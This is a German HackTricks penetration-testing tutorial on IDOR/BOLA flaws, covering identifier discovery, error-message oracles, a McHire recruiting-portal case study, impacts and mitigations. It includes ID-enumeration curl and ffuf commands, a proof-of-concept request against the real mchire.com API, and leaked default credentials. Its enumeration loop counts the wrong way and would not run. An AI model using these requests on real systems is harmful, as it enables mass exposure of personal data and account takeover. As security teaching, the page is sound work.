IDOR (Insecure Direct Object Reference)

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein web- oder API-endpoint einen vom Benutzer kontrollierbaren Identifikator offenlegt oder akzeptiert, der direkt verwendet wird, um auf ein internes Objekt zuzugreifen, ohne zu prüfen, ob der Aufrufer berechtigt ist, auf dieses Objekt zuzugreifen oder es zu ändern. Eine erfolgreiche Ausnutzung erlaubt normalerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Verändern von Daten anderer Benutzer und im schlimmsten Fall vollständige Kontoübernahme oder massenhafte Datenexfiltration.

1. Potenzielle IDORs identifizieren

  1. Suchen Sie nach Parametern, die auf ein Objekt verweisen:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Bevorzugen Sie Endpoints, die Daten lesen oder aktualisieren (GET, PUT, PATCH, DELETE).
  2. Achten Sie darauf, wenn Identifikatoren sequenziell oder vorhersagbar sind – wenn Ihre ID 64185742 ist, existiert wahrscheinlich 64185741.
  3. Untersuchen Sie versteckte oder alternative Flows (z. B. den Link "Paradox team members" auf Login-Seiten), die zusätzliche APIs offenlegen könnten.
  4. Verwenden Sie eine authentifizierte Session mit geringen Rechten und ändern Sie nur die ID, während Sie denselben token/cookie beibehalten. Das Ausbleiben eines Autorisierungsfehlers ist normalerweise ein Zeichen für IDOR.

Schnelles manuelles Manipulieren (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatisierte Enumeration (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle für Benutzer-/Datei-Enumeration

Wenn ein Download-Endpunkt sowohl einen username als auch einen filename akzeptiert (z. B. /view.php?username=<u>&file=<f>), führen subtile Unterschiede in Fehlermeldungen oft zu einem Oracle:

  • Nicht existierender username → "User not found"
  • Fehlerhafter filename, aber gültige Extension → "File does not exist" (manchmal listet es auch verfügbare Dateien auf)
  • Fehlerhafte Extension → Validierungsfehler

Mit jeder authentifizierten Sitzung kannst du den username-Parameter fuzzen, während du einen harmlosen filename setzt, und auf den "user not found"-String filtern, um gültige Benutzer zu entdecken:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Sobald gültige Benutzernamen identifiziert sind, fordere bestimmte Dateien direkt an (z. B. /view.php?username=amanda&file=privacy.odt). Dieses Muster führt häufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zur Preisgabe von Zugangsdaten.

2. Praxisfallstudie – McHire Chatbot-Plattform (2025)

Während einer Bewertung des von Paradox.ai betriebenen McHire Recruiting-Portals wurde die folgende IDOR entdeckt:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: User-Session-Cookie für jedes Restaurant-Testkonto
  • Body parameter: {"lead_id": N} – 8-stellig, sequentieller numerischer Bezeichner

Durch Verringern von lead_id konnte der Tester beliebige Bewerber abrufen und erhielt deren full PII (Name, E‑Mail, Telefon, Adresse, Schichtpräferenzen) sowie ein consumer JWT, das session hijacking ermöglichte. Die Enumeration des Bereichs 1 – 64,185,742 offenbarte ungefähr 64 Millionen Datensätze.

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

In Kombination mit den default admin credentials (123456:123456), die Zugang zum Testkonto gewährten, führte die Schwachstelle zu einer kritischen, unternehmensweiten Datenpanne.

3. Auswirkungen von IDOR / BOLA

  • Horizontale Eskalation – lesen/aktualisieren/löschen der Daten anderer Benutzer.
  • Vertikale Eskalation – ein niedrig privilegierter Benutzer erhält nur für Admins verfügbare Funktionen.
  • Massen-Datenpanne, wenn Bezeichner sequenziell sind (z. B. Bewerber-IDs, Rechnungen).
  • Account-Übernahme durch Stehlen von Tokens oder Zurücksetzen der Passwörter anderer Benutzer.

4. Gegenmaßnahmen & Best Practices

  1. Durchsetzen von objektbasierter Autorisierung bei jeder Anfrage (user_id == session.user).
  2. Bevorzugen Sie indirekte, nicht erratbare Identifikatoren (UUIDv4, ULID) statt Auto-Increment-IDs.
  3. Führen Sie Autorisierung serverseitig durch; verlassen Sie sich niemals auf versteckte Formularfelder oder UI-Kontrollen.
  4. Implementieren Sie RBAC / ABAC-Prüfungen in einer zentralen Middleware.
  5. Fügen Sie Rate-Limiting & Logging hinzu, um ID-Enumeration zu erkennen.
  6. Sicherheitstest für jeden neuen Endpoint (Unit-, Integrations- und DAST-Tests).

5. Tools

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks